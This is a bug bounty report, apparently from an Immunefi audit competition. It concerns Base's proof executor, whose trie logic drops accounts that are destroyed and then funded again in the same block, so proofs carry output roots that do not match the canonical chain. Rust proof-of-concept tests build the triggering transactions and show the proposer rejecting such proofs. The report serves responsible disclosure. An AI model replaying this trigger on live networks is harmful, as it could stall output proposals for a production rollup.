> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/base/75107-bc-medium-stateless-trie-drops-accounts-changed-after-selfdestruct.md). # 75107 bc medium stateless trie drops accounts changed after selfdestruct **Submitted on Apr 27th 2026 at 09:04:35 UTC by @y4y for** [**Audit Comp | Base Azul**](https://immunefi.com/audit-competition/audit-comp-base-azul) * **Report ID:** #75107 * **Report Type:** Blockchain/DLT * **Report severity:** Medium * **Target:** * **Impacts:** * A bug in the respective layer 0/1/2 network code that results in unintended smart contract behavior with no concrete funds at direct risk ## Description ## Vulnerability Details The proof executor recomputes state roots from revm's `BundleState`, but it deletes every account for which `bundle_account.was_destroyed()` is true. `AccountStatus::DestroyedChanged` is not pure deletion: the account was destroyed and then modified again in the same block. Canonical L2 execution keeps the final account alive with wiped storage, empty code, and final balance / nonce, while the proof executor removes it from the trie. That produces a different state root and output root for a block that was already accepted on L2. The proposer then rejects that proof result with `RootMismatch` before any L1 proposal call. ## Impact Details The stateless trie builder collapses all destroyed statuses into the same delete-and-continue branch: ```rust // base/crates/proof/executor/src/db/mod.rs fn update_accounts(&mut self, bundle: &BundleState) -> TrieDBResult<()> { ... for (address, hashed_address, bundle_account) in sorted_state { if bundle_account.status.is_not_modified() { continue; } let account_path = Nibbles::unpack(hashed_address.as_slice()); if bundle_account.was_destroyed() { self.root_node.delete(&account_path, &self.fetcher)?; self.storage_roots.remove(address); continue; } ... } } ``` The rebuilt proof header commits the state root returned by that trie logic: ```rust // base/crates/proof/executor/src/builder/assemble.rs pub(crate) fn seal_block( &mut self, attrs: &BasePayloadAttributes, parent_hash: B256, block_env: &BlockEnv, ex_result: &BlockExecutionResult, bundle: BundleState, ) -> ExecutorResult> { let timestamp = block_env.timestamp.saturating_to::(); let state_root = self.trie_db.state_root(&bundle)?; ... } ``` The proposer performs a just-in-time comparison against canonical output roots and rejects mismatches before any L1 proposal call is made: ```rust // base/crates/proof/proposer/src/pipeline.rs let canonical_output = self .rollup_client .output_at_block(target_block) .await .map_err(|e| SubmitAction::Failed(ProposerError::Rpc(e)))?; if aggregate_proposal.output_root != canonical_output.output_root { warn!( proposal_root = ?aggregate_proposal.output_root, canonical_root = ?canonical_output.output_root, target_block, "Proposal output root does not match canonical chain at submit time" ); return Err(SubmitAction::RootMismatch); } ``` Concrete example from the verified local PoC: {% stepper %} {% step %} ## Block `1` Prefunds the future create address with `1000` wei. {% endstep %} {% step %} ## Block `2` Deploys constructor code that executes `SSTORE(0, 0x42)` and `SELFDESTRUCT`. {% endstep %} {% step %} ## The same block `2` Transfers `2000` wei to that same address. {% endstep %} {% step %} ## Canonical execution ends with * `AccountStatus::DestroyedChanged` * `code len = 0` * `slot0 = 0` * `balance = 2000` {% endstep %} {% step %} ## The proof executor derives * buggy state root: `0x443ea453d90e4d52d64e07ce747e53bfe56cd568d4f5edf52aa63312ec1b3c91` * canonical state root: `0xcdafa1d0435a39b2e55ab5ec3e4965c9bcb3e713ea6f1f44c386fae56c18641e` {% endstep %} {% step %} ## That becomes * buggy output root: `0xf8c1b0b2adb3515056251df4c6c726d9a76ba57c572b10396291730e98ddb732` * canonical output root: `0x7ff3e56b93374b297b93858a6f691def2f6b8e190b3bc64a5e9709425c8b0e73` {% endstep %} {% step %} ## The proposer validation path returns `RootMismatch`. {% endstep %} {% step %} ## The L1 output proposer is never called. {% endstep %} {% endstepper %} **Pre-conditions** * A proved L2 block contains an account that ends the block as `DestroyedChanged`. * The proof executor uses `TrieDB::state_root()` to rebuild the block state root from the block bundle. * The proposer validates the proof output root against `rollup_client.output_at_block(target_block)`. This can be triggered by ordinary L2 transactions. It does not require malformed payloads, privileged operator input, or a trusted-role mistake. ## References * base/crates/proof/executor/src/db/mod.rs:164-224 * base/crates/proof/executor/src/builder/assemble.rs:31-42 * base/crates/proof/proposer/src/pipeline.rs:1048-1175 ## Link to Proof of Concept ## Proof of Concept ```rust #![cfg(feature = "test-utils")] #![allow(missing_docs)] use alloy_network::{EthereumWallet, TransactionBuilder}; use alloy_primitives::{Address, Bytes, Sealable, TxKind, U256, keccak256}; use alloy_provider::{Provider, ProviderBuilder, network::primitives::BlockTransactions}; use alloy_rpc_types_eth::TransactionRequest; use alloy_rlp::{Decodable, Encodable}; use alloy_trie::{Nibbles, TrieAccount}; use base_common_consensus::Predeploys; use base_node_core::utils::setup; use base_proof_executor::{TrieDB, TrieDBProvider}; use base_proof_mpt::{NoopTrieHinter, TrieNode, TrieProvider}; use base_protocol::OutputRoot; use futures::StreamExt; use reth_storage_api::StateProviderFactory; use revm::database::{AccountStatus, BundleAccount, BundleState}; use std::collections::BTreeMap; const MAX_FEE_PER_GAS: u128 = 20_000_000_000; const MAX_PRIORITY_FEE_PER_GAS: u128 = 1_000_000_000; const PREFUND_VALUE: u128 = 1_000; const FUNDING_VALUE: u128 = 2_000; fn deploy_tx(from: Address, nonce: u64, init_code: Bytes) -> TransactionRequest { TransactionRequest::default() .with_from(from) .with_nonce(nonce) .with_gas_limit(500_000) .with_max_fee_per_gas(MAX_FEE_PER_GAS) .with_max_priority_fee_per_gas(MAX_PRIORITY_FEE_PER_GAS) .with_input(init_code) .with_kind(TxKind::Create) } fn transfer_tx(from: Address, to: Address, nonce: u64, value: U256) -> TransactionRequest { TransactionRequest::default() .with_from(from) .with_to(to) .with_nonce(nonce) .with_value(value) .with_gas_limit(21_000) .with_max_fee_per_gas(MAX_FEE_PER_GAS) .with_max_priority_fee_per_gas(MAX_PRIORITY_FEE_PER_GAS) } /// Init code for a contract that writes storage and selfdestructs during construction. /// /// That same-tx creation path still produces a destroyed account under modern SELFDESTRUCT rules. fn selfdestruct_in_constructor_init_code() -> Bytes { let mut init = Vec::new(); init.extend_from_slice(&[0x60, 0x42, 0x60, 0x00, 0x55]); // SSTORE(0, 0x42) init.extend_from_slice(&[ 0x73, // PUSH20 0xde, 0xad, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // beneficiary ]); init.push(0xff); // SELFDESTRUCT Bytes::from(init) } #[derive(Clone, Debug)] struct ProofTrieProvider { trie_nodes: BTreeMap, } impl ProofTrieProvider { fn from_account_proof(proof: &[Bytes]) -> Self { let trie_nodes = proof .iter() .cloned() .map(|node| (keccak256(node.as_ref()), node)) .collect(); Self { trie_nodes } } } impl TrieProvider for ProofTrieProvider { type Error = eyre::Error; fn trie_node_by_hash(&self, key: alloy_primitives::B256) -> Result { let node = self .trie_nodes .get(&key) .ok_or_else(|| eyre::eyre!("missing trie node preimage for hash {key:?}"))?; TrieNode::decode(&mut node.as_ref()) .map_err(|err| eyre::eyre!("failed to decode trie node for {key:?}: {err}")) } } impl TrieDBProvider for ProofTrieProvider { fn bytecode_by_hash(&self, code_hash: alloy_primitives::B256) -> Result { eyre::bail!("unexpected bytecode lookup for code hash {code_hash:?}") } fn header_by_hash( &self, hash: alloy_primitives::B256, ) -> Result { eyre::bail!("unexpected header lookup for hash {hash:?}") } } fn destroyed_changed_bundle(address: Address, account: &BundleAccount) -> BundleState { let mut bundle = BundleState::default(); bundle.state.insert(address, account.clone()); bundle } fn buggy_root_from_account_update( parent_header: alloy_consensus::Sealed, provider: ProofTrieProvider, address: Address, account: &BundleAccount, ) -> eyre::Result { let bundle = destroyed_changed_bundle(address, account); let mut trie_db = TrieDB::new(parent_header, provider, NoopTrieHinter); trie_db .state_root(&bundle) .map_err(|err| eyre::eyre!("buggy TrieDB root calculation failed: {err}")) } fn correct_root_from_account_update( parent_header: alloy_consensus::Sealed, provider: ProofTrieProvider, address: Address, account: &BundleAccount, ) -> eyre::Result { let account_info = account .account_info() .ok_or_else(|| eyre::eyre!("DestroyedChanged account missing final account info"))?; let mut root = TrieDB::new(parent_header, provider.clone(), NoopTrieHinter).take_root_node(); let account_path = Nibbles::unpack(keccak256(address.as_slice()).as_slice()); let trie_account = TrieAccount { nonce: account_info.nonce, balance: account_info.balance, storage_root: alloy_consensus::EMPTY_ROOT_HASH, code_hash: account_info.code_hash, }; let mut encoded_account = Vec::with_capacity(trie_account.length()); trie_account.encode(&mut encoded_account); root.insert(&account_path, encoded_account.into(), &provider) .map_err(|err| eyre::eyre!("correct account reinsertion failed: {err}"))?; Ok(root.blind()) } #[tokio::test(flavor = "multi_thread")] async fn m09_same_block_destroyed_changed_replay_diverges() -> eyre::Result<()> { let (mut nodes, wallet) = setup(1).await?; let mut node = nodes.pop().expect("missing node"); let signer = wallet.inner.clone(); let provider = ProviderBuilder::new().wallet(EthereumWallet::new(signer.clone())).connect_http(node.rpc_url()); let future_contract_address = signer.address().create(1); let prefund_tx_hash = *provider .send_transaction(transfer_tx( signer.address(), future_contract_address, 0, U256::from(PREFUND_VALUE), )) .await? .tx_hash(); node.advance_block().await?; let _ = node .canonical_stream .next() .await .expect("missing prefund canonical notification"); assert_eq!( provider.get_balance(future_contract_address).await?, U256::from(PREFUND_VALUE), "future contract address should exist before the trigger block" ); assert!( provider.get_code_at(future_contract_address).await?.is_empty(), "prefunded future address should still be code-less" ); let deploy_pending = provider .send_transaction(deploy_tx( signer.address(), 1, selfdestruct_in_constructor_init_code(), )) .await?; let deploy_tx_hash = *deploy_pending.tx_hash(); let funding_pending = provider .send_transaction(transfer_tx( signer.address(), future_contract_address, 2, U256::from(FUNDING_VALUE), )) .await?; let funding_tx_hash = *funding_pending.tx_hash(); let payload = node.advance_block().await?; let block_number = payload.block().number; let notification = node.canonical_stream.next().await.expect("missing canonical notification"); let committed = notification.committed(); let execution_outcome = committed.execution_outcome(); let account_state = execution_outcome .bundle .account(&future_contract_address) .expect("expected funded post-selfdestruct account in bundle"); let code = provider.get_code_at(future_contract_address).await?; let balance = provider.get_balance(future_contract_address).await?; let slot0 = provider.get_storage_at(future_contract_address, U256::ZERO).await?; assert_eq!(account_state.status, AccountStatus::DestroyedChanged); assert!(code.is_empty(), "account should remain code-less after same-block funding"); assert_eq!(slot0, U256::ZERO, "destroyed storage should stay wiped"); assert_eq!(balance, U256::from(FUNDING_VALUE), "funding transfer should recreate balance"); assert!( account_state.storage.iter().all(|(_, slot)| slot.present_value.is_zero()), "PoC expects no surviving nonzero storage slots after same-tx selfdestruct" ); let executing_block = provider .get_block_by_number(block_number.into()) .await? .expect("executing block not found"); let parent_block = provider .get_block_by_number((block_number - 1).into()) .await? .expect("parent block not found"); let parent_state_provider = node .inner .provider .state_by_block_hash(parent_block.header.inner.hash_slow())?; let parent_proof = parent_state_provider.proof( Default::default(), future_contract_address, &[], )?; let canonical_tx_hashes = match &executing_block.transactions { BlockTransactions::Hashes(transactions) => transactions.clone(), _ => eyre::bail!("expected hash-only block transactions"), }; let parent_state_root = parent_block.header.inner.state_root; let parent_header = parent_block.header.inner.clone().seal_slow(); assert!( canonical_tx_hashes.contains(&deploy_tx_hash), "canonical block did not include deployment transaction" ); assert!( canonical_tx_hashes.contains(&funding_tx_hash), "canonical block did not include funding transaction" ); parent_proof .verify(parent_state_root) .map_err(|err| eyre::eyre!("parent proof does not match parent state root: {err}"))?; let changed_bundle = destroyed_changed_bundle(future_contract_address, account_state); let mut destroyed_only_account = account_state.clone(); destroyed_only_account.info = None; let destroyed_only_bundle = destroyed_changed_bundle(future_contract_address, &destroyed_only_account); let buggy_witness = parent_state_provider.witness( Default::default(), parent_state_provider.hashed_post_state(&destroyed_only_bundle), )?; let correct_witness = parent_state_provider.witness( Default::default(), parent_state_provider.hashed_post_state(&changed_bundle), )?; let buggy_root = buggy_root_from_account_update( parent_header.clone(), ProofTrieProvider::from_account_proof(&buggy_witness), future_contract_address, account_state, )?; let correct_root = correct_root_from_account_update( parent_header, ProofTrieProvider::from_account_proof(&correct_witness), future_contract_address, account_state, )?; let current_state_provider = node .inner .provider .state_by_block_hash(executing_block.header.inner.hash_slow())?; let previous_message_passer = parent_state_provider .proof(Default::default(), Predeploys::L2_TO_L1_MESSAGE_PASSER, &[])? .into_eip1186_response(Vec::new()); let previous_output_root = OutputRoot::from_parts( parent_block.header.inner.state_root, previous_message_passer.storage_hash, parent_block.header.inner.hash_slow(), ) .hash(); let executing_message_passer = current_state_provider .proof(Default::default(), Predeploys::L2_TO_L1_MESSAGE_PASSER, &[])? .into_eip1186_response(Vec::new()); let canonical_output_root = OutputRoot::from_parts( correct_root, executing_message_passer.storage_hash, executing_block.header.inner.hash_slow(), ) .hash(); let buggy_output_root = OutputRoot::from_parts( buggy_root, executing_message_passer.storage_hash, executing_block.header.inner.hash_slow(), ) .hash(); println!("M-09 trigger block: {block_number}"); println!("future contract address: {future_contract_address}"); println!("prefund tx hash: {prefund_tx_hash:?}"); println!("deploy tx hash: {deploy_tx_hash:?}"); println!("funding tx hash: {funding_tx_hash:?}"); println!("canonical account status: {:?}", account_state.status); println!("canonical code len: {}", code.len()); println!("canonical balance: {balance}"); println!("canonical slot0: {}", slot0); println!("parent state root: {parent_state_root:?}"); println!("buggy trie witness nodes: {}", buggy_witness.len()); println!("correct trie witness nodes: {}", correct_witness.len()); println!("buggy proof trie root: {buggy_root:?}"); println!("correct proof trie root: {correct_root:?}"); println!("previous output root: {previous_output_root:?}"); println!("canonical output root: {canonical_output_root:?}"); println!("buggy proof output root: {buggy_output_root:?}"); assert_ne!( buggy_root, correct_root, "DestroyedChanged account update unexpectedly produced the same trie root" ); assert_ne!( buggy_output_root, canonical_output_root, "buggy proof output root unexpectedly matched the canonical L2 output root" ); let scenario_path = std::env::var_os("M09_SCENARIO_PATH") .map(std::path::PathBuf::from) .unwrap_or_else(|| std::path::PathBuf::from("target/m09-scenario.json")); if let Some(parent) = scenario_path.parent() { std::fs::create_dir_all(parent)?; } std::fs::write( &scenario_path, serde_json::to_vec_pretty(&serde_json::json!({ "target_block": block_number, "future_contract_address": format!("{future_contract_address:?}"), "prefund_tx_hash": format!("{prefund_tx_hash:?}"), "deploy_tx_hash": format!("{deploy_tx_hash:?}"), "funding_tx_hash": format!("{funding_tx_hash:?}"), "account_status": format!("{:?}", account_state.status), "code_len": code.len(), "balance": balance.to_string(), "slot0": slot0.to_string(), "buggy_witness_nodes": buggy_witness.len(), "correct_witness_nodes": correct_witness.len(), "canonical_state_root": format!("{correct_root:?}"), "buggy_state_root": format!("{buggy_root:?}"), "previous_output_root": format!("{previous_output_root:?}"), "canonical_output_root": format!("{canonical_output_root:?}"), "buggy_output_root": format!("{buggy_output_root:?}") }))?, )?; println!("scenario json: {}", scenario_path.display()); Ok(()) } ``` The above file should be added to `crates/proof/executor/tests/destroyed_changed_poc.rs`. This is meant to demonstrate the transaction which can lead to the incorrect proof root being computed. ```rust #![allow(missing_docs)] use std::{ path::PathBuf, sync::{ Arc, atomic::{AtomicUsize, Ordering}, }, time::Duration, }; use alloy_primitives::{Address, B256, Bytes}; use async_trait::async_trait; use base_proof_primitives::{ProofResult, Proposal, ProverClient}; use base_proposer::{ DriverConfig, OutputProposer, PipelineConfig, ProvingPipeline, ProposerError, test_utils::{ MockAggregateVerifier, MockAnchorStateRegistry, MockDisputeGameFactory, MockL1, MockL2, MockProver, MockRollupClient, test_anchor_root, test_sync_status, }, }; use tokio_util::sync::CancellationToken; const BLOCK_INTERVAL: u64 = 1; const TEST_GAME_TYPE: u32 = 42; const MOCK_PROVER_DELAY: Duration = Duration::from_millis(1); type PocPipeline = ProvingPipeline< MockL1, MockL2, MockRollupClient, MockAnchorStateRegistry, MockDisputeGameFactory, >; #[derive(Debug)] struct RecordingOutputProposer { calls: Arc, } #[async_trait] impl OutputProposer for RecordingOutputProposer { async fn propose_output( &self, _proposal: &Proposal, _parent_address: Address, _intermediate_roots: &[B256], ) -> Result<(), ProposerError> { self.calls.fetch_add(1, Ordering::SeqCst); Ok(()) } } fn submission_pipeline( output_roots: std::collections::HashMap, output_proposer: Arc, ) -> PocPipeline { let cancel = CancellationToken::new(); let l1 = Arc::new(MockL1 { latest_block_number: 1000 }); let l2 = Arc::new(MockL2 { block_not_found: true, canonical_hash: None }); let prover: Arc = Arc::new(MockProver { delay: MOCK_PROVER_DELAY, block_interval: BLOCK_INTERVAL }); let rollup = Arc::new(MockRollupClient { sync_status: test_sync_status(0, B256::ZERO), output_roots, max_safe_block: None, }); let anchor_registry = Arc::new(MockAnchorStateRegistry { anchor_root: test_anchor_root(0) }); ProvingPipeline::new( PipelineConfig { max_parallel_proofs: 1, max_retries: 1, recovery_scan_concurrency: 1, tee_prover_registry_address: None, driver: DriverConfig { game_type: TEST_GAME_TYPE, block_interval: BLOCK_INTERVAL, intermediate_block_interval: BLOCK_INTERVAL, ..Default::default() }, }, prover, l1, l2, rollup, anchor_registry, Arc::new(MockDisputeGameFactory::with_games(vec![])), Arc::new(MockAggregateVerifier::default()), output_proposer, cancel, ) } fn required_u64(value: &serde_json::Value, key: &str) -> eyre::Result { value[key].as_u64().ok_or_else(|| eyre::eyre!("missing u64 field `{key}`")) } fn required_str<'a>(value: &'a serde_json::Value, key: &str) -> eyre::Result<&'a str> { value[key].as_str().ok_or_else(|| eyre::eyre!("missing string field `{key}`")) } #[tokio::main(flavor = "current_thread")] async fn main() -> eyre::Result<()> { let scenario_path = std::env::args_os() .nth(1) .map(PathBuf::from) .unwrap_or_else(|| PathBuf::from("target/m09-scenario.json")); let raw = std::fs::read_to_string(&scenario_path)?; let scenario: serde_json::Value = serde_json::from_str(&raw)?; let target_block = required_u64(&scenario, "target_block")?; let previous_output_root: B256 = required_str(&scenario, "previous_output_root")?.parse()?; let canonical_output_root: B256 = required_str(&scenario, "canonical_output_root")?.parse()?; let buggy_output_root: B256 = required_str(&scenario, "buggy_output_root")?.parse()?; let proposal = Proposal { output_root: buggy_output_root, signature: Bytes::from(vec![0xab; 65]), l1_origin_hash: B256::repeat_byte(0x22), l1_origin_number: 0, l2_block_number: target_block, prev_output_root: previous_output_root, config_hash: B256::repeat_byte(0x44), }; let proof_result = ProofResult::Tee { aggregate_proposal: proposal.clone(), proposals: vec![proposal] }; let proposer_calls = Arc::new(AtomicUsize::new(0)); let pipeline = submission_pipeline( std::collections::HashMap::from([(target_block, canonical_output_root)]), Arc::new(RecordingOutputProposer { calls: Arc::clone(&proposer_calls) }), ); let submit_result = pipeline.validate_and_submit_for_poc(&proof_result, target_block, Address::ZERO).await; assert!( matches!(&submit_result, Err(err) if err == "RootMismatch"), "the proposer validation path should reject the buggy proof before any L1 proposal call" ); assert_eq!( proposer_calls.load(Ordering::SeqCst), 0, "L1 output proposer must never be called when the proof root mismatches canonical L2" ); println!("scenario json: {}", scenario_path.display()); println!("target block: {target_block}"); println!("deploy tx hash: {}", required_str(&scenario, "deploy_tx_hash")?); println!("funding tx hash: {}", required_str(&scenario, "funding_tx_hash")?); println!("canonical bundle account status: {}", required_str(&scenario, "account_status")?); println!("canonical code len: {}", required_u64(&scenario, "code_len")?); println!("canonical balance: {}", required_str(&scenario, "balance")?); println!("canonical slot0: {}", required_str(&scenario, "slot0")?); println!("buggy trie witness nodes: {}", required_u64(&scenario, "buggy_witness_nodes")?); println!("correct trie witness nodes: {}", required_u64(&scenario, "correct_witness_nodes")?); println!("canonical block state root: {}", required_str(&scenario, "canonical_state_root")?); println!("buggy proof state root: {}", required_str(&scenario, "buggy_state_root")?); println!("previous output root: {}", required_str(&scenario, "previous_output_root")?); println!("canonical output root: {}", required_str(&scenario, "canonical_output_root")?); println!("buggy proof output root: {}", required_str(&scenario, "buggy_output_root")?); println!("proposer validation result: {}", submit_result.unwrap_err()); println!("L1 proposer calls: {}", proposer_calls.load(Ordering::SeqCst)); Ok(()) } ``` This is the second half of the entire PoC chain, add to `crates/proof/proposer/examples/validate_buggy_proof_result.rs`. This will demonstrate how the proof generated in part 1 of PoC would be handled by a proposer for validation. Then for those files: * `crates/proof/proposer/src/lib.rs` * `crates/proof/proposer/src/pipeline.rs` * `crates/proof/proposer/Cargo.toml` These PoC-only changes expose the final proposer validation stage without running the full coordinator: ```diff diff --git a/base/crates/proof/proposer/src/lib.rs b/base/crates/proof/proposer/src/lib.rs --- a/base/crates/proof/proposer/src/lib.rs +++ b/base/crates/proof/proposer/src/lib.rs @@ -#[cfg(test)] +#[cfg(any(test, feature = "poc-utils"))] pub mod test_utils; diff --git a/base/crates/proof/proposer/src/pipeline.rs b/base/crates/proof/proposer/src/pipeline.rs --- a/base/crates/proof/proposer/src/pipeline.rs +++ b/base/crates/proof/proposer/src/pipeline.rs @@ + #[cfg(any(test, feature = "poc-utils"))] + pub async fn validate_and_submit_for_poc( + &self, + proof_result: &ProofResult, + target_block: u64, + parent_address: Address, + ) -> Result<(), String> { + self.validate_and_submit(proof_result, target_block, parent_address) + .await + .map_err(|action| match action { + SubmitAction::RootMismatch => "RootMismatch".to_string(), + SubmitAction::Failed(err) => format!("Failed: {err}"), + SubmitAction::GameAlreadyExists => "GameAlreadyExists".to_string(), + SubmitAction::Discard(err) => format!("Discard: {err}"), + }) + } diff --git a/base/crates/proof/proposer/Cargo.toml b/base/crates/proof/proposer/Cargo.toml --- a/base/crates/proof/proposer/Cargo.toml +++ b/base/crates/proof/proposer/Cargo.toml @@ +poc-utils = [ "dep:alloy-rpc-types-eth", "dep:base-consensus-genesis", "dep:serde_json" ] ``` --- # Agent Instructions This documentation is published with GitBook. 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